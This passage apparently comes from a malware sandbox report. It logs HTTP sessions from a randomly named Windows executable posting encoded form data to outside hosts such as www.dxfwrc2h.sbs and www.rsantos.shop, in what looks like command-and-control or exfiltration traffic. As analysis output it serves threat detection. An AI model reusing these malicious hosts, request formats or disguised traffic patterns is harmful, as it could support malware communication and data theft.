40	192.168.2.4	50047	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:29.056119919 CEST	596	OUT	GET /tlpb/?2BWDG=OZnoRuv0v/1Z/CA6HO2FEIDEprX/+1BF8Drjd+I5ZVz3FMGcbqM7cMP28c7FY+8MR3FV1C6ikaATRgc5pZIEy8I+zLLxgcbQl7nSgVZzV1ZQYFDgHJWD22o=&wfm=G6oTo8vx HTTP/1.1 Host: www.deltastem.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:59:29.646204948 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 10:59:29 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 32 42 57 44 47 3d 4f 5a 6e 6f 52 75 76 30 76 2f 31 5a 2f 43 41 36 48 4f 32 46 45 49 44 45 70 72 58 2f 2b 31 42 46 38 44 72 6a 64 2b 49 35 5a 56 7a 33 46 4d 47 63 62 71 4d 37 63 4d 50 32 38 63 37 46 59 2b 38 4d 52 33 46 56 31 43 36 69 6b 61 41 54 52 67 63 35 70 5a 49 45 79 38 49 2b 7a 4c 4c 78 67 63 62 51 6c 37 6e 53 67 56 5a 7a 56 31 5a 51 59 46 44 67 48 4a 57 44 32 32 6f 3d 26 77 66 6d 3d 47 36 6f 54 6f 38 76 78 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?2BWDG=OZnoRuv0v/1Z/CA6HO2FEIDEprX/+1BF8Drjd+I5ZVz3FMGcbqM7cMP28c7FY+8MR3FV1C6ikaATRgc5pZIEy8I+zLLxgcbQl7nSgVZzV1ZQYFDgHJWD22o=&wfm=G6oTo8vx"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50048	129.226.56.200	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:35.653805971 CEST	863	OUT	POST /170y/ HTTP/1.1 Host: www.dxfwrc2h.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dxfwrc2h.sbs Referer: http://www.dxfwrc2h.sbs/170y/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 46 31 41 59 36 54 4f 67 51 63 71 66 70 72 31 61 31 78 72 45 63 59 70 58 4d 57 62 61 6b 73 72 52 38 36 70 4d 44 6a 48 48 54 7a 55 4c 30 4d 78 6c 50 6d 75 67 65 52 5a 46 32 74 54 2f 77 70 33 59 71 48 46 74 58 70 51 31 57 2f 30 69 53 32 6b 79 37 79 6a 43 4a 62 49 52 4a 4b 77 55 4c 49 66 4e 6c 49 57 4a 6c 33 46 78 56 6c 33 4e 49 67 76 7a 67 45 46 45 5a 42 64 36 43 77 67 34 34 59 45 78 6a 43 44 76 62 33 6c 65 69 37 37 47 65 30 6b 72 4c 59 4b 78 77 30 76 32 49 57 33 74 34 6d 44 46 4b 4a 58 5a 71 58 46 2f 64 52 51 31 4a 72 38 59 2f 4d 43 74 64 39 47 46 33 39 69 43 67 70 35 7a 38 67 3d 3d Data Ascii: 2BWDG=F1AY6TOgQcqfpr1a1xrEcYpXMWbaksrR86pMDjHHTzUL0MxlPmugeRZF2tT/wp3YqHFtXpQ1W/0iS2ky7yjCJbIRJKwULIfNlIWJl3FxVl3NIgvzgEFEZBd6Cwg44YExjCDvb3lei77Ge0krLYKxw0v2IW3t4mDFKJXZqXF/dRQ1Jr8Y/MCtd9GF39iCgp5z8g==
Oct 19, 2024 12:59:36.625159025 CEST	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Sat, 19 Oct 2024 10:59:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50049	129.226.56.200	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:38.195497990 CEST	883	OUT	POST /170y/ HTTP/1.1 Host: www.dxfwrc2h.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dxfwrc2h.sbs Referer: http://www.dxfwrc2h.sbs/170y/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 46 31 41 59 36 54 4f 67 51 63 71 66 72 49 64 61 35 32 66 45 56 59 70 51 51 47 62 61 75 4d 72 4e 38 36 31 4d 44 69 7a 58 53 41 77 4c 31 74 42 6c 65 53 61 67 64 52 5a 46 78 64 54 2b 39 4a 33 6c 71 48 4a 4c 58 72 45 31 57 2f 67 69 53 7a 59 79 36 42 37 46 4c 4c 49 50 50 4b 77 57 46 6f 66 4e 6c 49 57 4a 6c 30 35 50 56 6c 76 4e 49 52 66 7a 6a 68 70 48 61 42 64 35 53 67 67 34 38 59 45 39 6a 43 44 33 62 79 42 67 69 35 7a 47 65 31 55 72 4c 4a 4b 79 36 30 75 7a 46 32 33 37 31 48 36 32 50 37 7a 51 6a 47 30 62 41 56 63 52 46 4e 74 43 75 39 6a 36 50 39 69 32 71 36 72 32 74 71 45 36 6e 6e 51 59 4e 43 4c 45 47 6b 69 59 47 65 52 72 7a 57 2b 37 47 37 38 3d Data Ascii: 2BWDG=F1AY6TOgQcqfrIda52fEVYpQQGbauMrN861MDizXSAwL1tBleSagdRZFxdT+9J3lqHJLXrE1W/giSzYy6B7FLLIPPKwWFofNlIWJl05PVlvNIRfzjhpHaBd5Sgg48YE9jCD3byBgi5zGe1UrLJKy60uzF2371H62P7zQjG0bAVcRFNtCu9j6P9i2q6r2tqE6nnQYNCLEGkiYGeRrzW+7G78=
Oct 19, 2024 12:59:39.134040117 CEST	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Sat, 19 Oct 2024 10:59:38 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50050	129.226.56.200	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:41.161271095 CEST	10965	OUT	POST /170y/ HTTP/1.1 Host: www.dxfwrc2h.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.dxfwrc2h.sbs Referer: http://www.dxfwrc2h.sbs/170y/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 46 31 41 59 36 54 4f 67 51 63 71 66 72 49 64 61 35 32 66 45 56 59 70 51 51 47 62 61 75 4d 72 4e 38 36 31 4d 44 69 7a 58 53 41 34 4c 30 66 6c 6c 50 44 61 67 63 52 5a 46 2b 4e 54 37 39 4a 33 30 71 45 35 58 58 72 4a 43 57 39 59 69 51 52 41 79 71 67 37 46 42 4c 49 50 44 71 77 54 4c 49 66 69 6c 49 47 46 6c 33 42 50 56 6c 76 4e 49 53 48 7a 30 6b 46 48 57 68 64 36 43 77 67 30 34 59 45 5a 6a 44 72 6e 62 7a 41 56 33 64 2f 47 66 56 45 72 4f 37 69 79 32 30 75 39 4c 57 32 34 31 47 47 70 50 37 75 70 6a 47 42 2b 41 53 55 52 54 72 68 64 72 2b 6a 71 62 4d 43 5a 30 35 48 49 68 5a 6f 4a 6a 56 67 62 4e 68 76 50 55 56 71 6c 45 74 73 54 6a 57 53 2f 58 2b 6f 68 43 71 30 79 76 79 71 4b 32 30 74 65 48 55 79 7a 61 37 6f 6b 4a 35 31 64 67 4d 58 48 38 53 72 4f 7a 64 71 70 59 6f 76 36 4f 4a 79 66 4c 6e 4c 69 55 38 4b 50 35 6e 64 31 37 4e 30 33 7a 73 5a 2f 39 4f 65 2f 52 56 37 71 58 6e 45 69 73 78 4e 42 44 54 53 72 7a 61 74 65 34 33 4a 67 7a 58 51 43 55 6f 5a 71 75 79 2b 55 44 4a 47 49 6c 50 50 41 55 4e 39 34 [TRUNCATED] Data Ascii: 2BWDG=F1AY6TOgQcqfrIda52fEVYpQQGbauMrN861MDizXSA4L0fllPDagcRZF+NT79J30qE5XXrJCW9YiQRAyqg7FBLIPDqwTLIfilIGFl3BPVlvNISHz0kFHWhd6Cwg04YEZjDrnbzAV3d/GfVErO7iy20u9LW241GGpP7upjGB+ASURTrhdr+jqbMCZ05HIhZoJjVgbNhvPUVqlEtsTjWS/X+ohCq0yvyqK20teHUyza7okJ51dgMXH8SrOzdqpYov6OJyfLnLiU8KP5nd17N03zsZ/9Oe/RV7qXnEisxNBDTSrzate43JgzXQCUoZquy+UDJGIlPPAUN94ZruvQahCpyYbY427e/AEKuETRiKF/HP4eOnpCBKjg9Vyt//Jp2+GdzBgGXPe5PuaKqFTkX1B30XK9BSXWNwoe1ybQOo+q4Si63HOGaSvL/etRAnXTx4jNOfIwja0otsec9MaQzGXZOFByd3sIVkM/CPWKgvlEebWB+u2lROoEaeAgpi5xQAR6qx5f5U74PvfIYlR8I52bBsXPr8zQlI+/TCVUOXBSiHVXaR3C+e6zKaJpeTEVesF2tDERXsS0a/5QIqqnpmgs02fgNWa7Q+bNO/HqNT+S+KlzI/Js0hI8peR/gQ/AalgyVEuo8Sn7TeWd1NvE38gwXlgCQy/wmg2pLnFVzxUyqUStoiIqPqgrz/a3elNxINT0EAAiGE40tKHyw0JASGuU8ofnuxNU6U2ktNo8bcUPJ1sI241cz34+FLOrmOj/vag54UHGXNdSxwfluJht5llzrifqbuTtP1u/LW3FRAp/8Xv11RZCxtJzjzVm9vPzlO6CDvW1KQ9YkQKso0VFSbRza5wHqVyI0vio9PFCxK0lZ2K5DXahYkBEJZykmOIZSmX66Yb31cu1wYsA/AJIh8xHy+OefCcOK/S5O7a0pSK/EimSwj+i13QRgXA9fFcEpnb05zLopdr2wNqb03k7qXd2mGuikJKeHGsEMyDyrqR4xfjMh [TRUNCATED]
Oct 19, 2024 12:59:42.105974913 CEST	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Sat, 19 Oct 2024 10:59:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50051	129.226.56.200	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:43.702356100 CEST	595	OUT	GET /170y/?2BWDG=I3o45m+IM5HdnoUn9E/KeuZYRn+MuP/J4/ZPHUzUWglV3+hragapbTpjy/fUorb6vXgAJIJIb8kfShtL1xPmTfA4E9gYWbnzpoLcgkFnKSz5IRKj2k5YNRo=&wfm=G6oTo8vx HTTP/1.1 Host: www.dxfwrc2h.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:59:44.676678896 CEST	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Sat, 19 Oct 2024 10:59:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50052	84.32.84.32	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:50.297528982 CEST	863	OUT	POST /314m/ HTTP/1.1 Host: www.rsantos.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rsantos.shop Referer: http://www.rsantos.shop/314m/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 79 6c 73 49 45 71 4d 65 58 57 61 65 35 61 69 59 43 69 52 32 4a 49 6d 4c 51 31 6f 30 46 41 62 70 43 36 69 75 51 33 43 59 6e 31 38 48 6a 53 4f 50 41 50 50 54 32 32 61 76 68 2b 79 78 50 4c 6f 6b 48 31 63 45 42 2f 6a 53 4d 63 4e 51 62 6a 59 64 37 2f 4c 72 46 74 50 64 4a 69 45 56 64 43 36 68 48 77 51 31 79 31 34 58 6c 44 53 2f 73 51 30 57 2b 50 62 37 31 32 52 75 63 74 73 75 46 34 36 49 4c 48 44 32 72 32 4f 79 4b 47 77 61 35 47 44 67 34 46 75 62 46 47 46 2b 70 33 4d 52 6f 4c 35 67 64 79 52 76 71 4e 6b 6f 49 49 73 4d 52 6c 6c 6a 55 41 59 6f 46 50 70 34 54 4f 67 46 31 6e 2b 37 62 77 3d 3d Data Ascii: 2BWDG=ylsIEqMeXWae5aiYCiR2JImLQ1o0FAbpC6iuQ3CYn18HjSOPAPPT22avh+yxPLokH1cEB/jSMcNQbjYd7/LrFtPdJiEVdC6hHwQ1y14XlDS/sQ0W+Pb712RuctsuF46ILHD2r2OyKGwa5GDg4FubFGF+p3MRoL5gdyRvqNkoIIsMRlljUAYoFPp4TOgF1n+7bw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50053	84.32.84.32	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:52.883503914 CEST	883	OUT	POST /314m/ HTTP/1.1 Host: www.rsantos.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rsantos.shop Referer: http://www.rsantos.shop/314m/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 79 6c 73 49 45 71 4d 65 58 57 61 65 2f 4f 6d 59 4f 68 35 32 64 59 6d 49 4a 46 6f 30 66 77 62 74 43 36 6d 75 51 32 47 49 6e 41 6b 48 69 33 69 50 48 4c 62 54 33 32 61 76 70 65 79 30 41 72 70 4a 48 31 59 4d 42 2b 76 53 4d 63 5a 51 62 69 6f 64 37 6f 2f 73 45 39 50 62 64 53 45 54 54 69 36 68 48 77 51 31 79 30 64 41 6c 43 36 2f 73 68 45 57 2f 72 50 34 2f 57 52 70 62 74 73 75 53 6f 37 44 4c 48 43 56 72 33 6a 58 4b 46 49 61 35 47 7a 67 37 51 53 63 57 6d 46 34 30 6e 4d 43 6a 49 52 72 54 48 34 58 72 4d 59 31 57 4c 63 54 51 6a 30 35 46 78 35 2f 58 50 4e 4c 4f 4a 70 78 34 6b 44 79 41 34 76 68 53 79 49 54 2b 46 6a 76 58 63 52 5a 5a 79 48 36 4c 5a 30 3d Data Ascii: 2BWDG=ylsIEqMeXWae/OmYOh52dYmIJFo0fwbtC6muQ2GInAkHi3iPHLbT32avpey0ArpJH1YMB+vSMcZQbiod7o/sE9PbdSETTi6hHwQ1y0dAlC6/shEW/rP4/WRpbtsuSo7DLHCVr3jXKFIa5Gzg7QScWmF40nMCjIRrTH4XrMY1WLcTQj05Fx5/XPNLOJpx4kDyA4vhSyIT+FjvXcRZZyH6LZ0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	50054	84.32.84.32	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:59:55.429565907 CEST	10965	OUT	POST /314m/ HTTP/1.1 Host: www.rsantos.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.rsantos.shop Referer: http://www.rsantos.shop/314m/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 79 6c 73 49 45 71 4d 65 58 57 61 65 2f 4f 6d 59 4f 68 35 32 64 59 6d 49 4a 46 6f 30 66 77 62 74 43 36 6d 75 51 32 47 49 6e 41 73 48 6a 46 71 50 48 70 7a 54 74 32 61 76 32 75 79 31 41 72 70 78 48 78 30 49 42 2b 54 43 4d 59 70 51 61 41 4d 64 76 4d 6a 73 4b 39 50 62 66 53 45 53 64 43 36 34 48 77 42 2b 79 30 4e 41 6c 43 36 2f 73 69 63 57 76 50 62 34 73 47 52 75 63 74 73 63 46 34 36 6b 4c 44 76 75 72 33 58 70 4e 31 6f 61 35 6d 6a 67 2b 6d 47 63 56 47 46 36 33 6e 4e 66 6a 49 4d 7a 54 44 68 75 72 4d 38 50 57 4d 73 54 54 46 78 76 5a 42 78 34 4e 5a 4a 69 61 4a 5a 41 35 6e 58 63 5a 37 66 61 62 44 55 36 6f 78 37 36 55 73 52 52 4d 79 76 6e 58 35 58 75 39 62 48 74 6c 68 55 58 52 6f 79 4d 39 45 6e 53 4a 68 69 38 66 37 32 71 6a 4b 34 56 2f 42 70 37 6e 5a 57 2f 39 75 57 31 49 48 43 4b 4f 58 78 58 53 7a 4a 48 51 2f 4c 69 30 37 37 4d 52 4b 30 63 77 62 6f 4a 30 62 30 71 73 6a 4a 4f 37 5a 38 64 56 6a 44 37 51 5a 39 5a 58 6a 62 30 38 34 42 76 68 62 4b 6a 37 70 76 6e 7a 69 6a 44 35 46 72 57 41 76 76 45 [TRUNCATED] Data 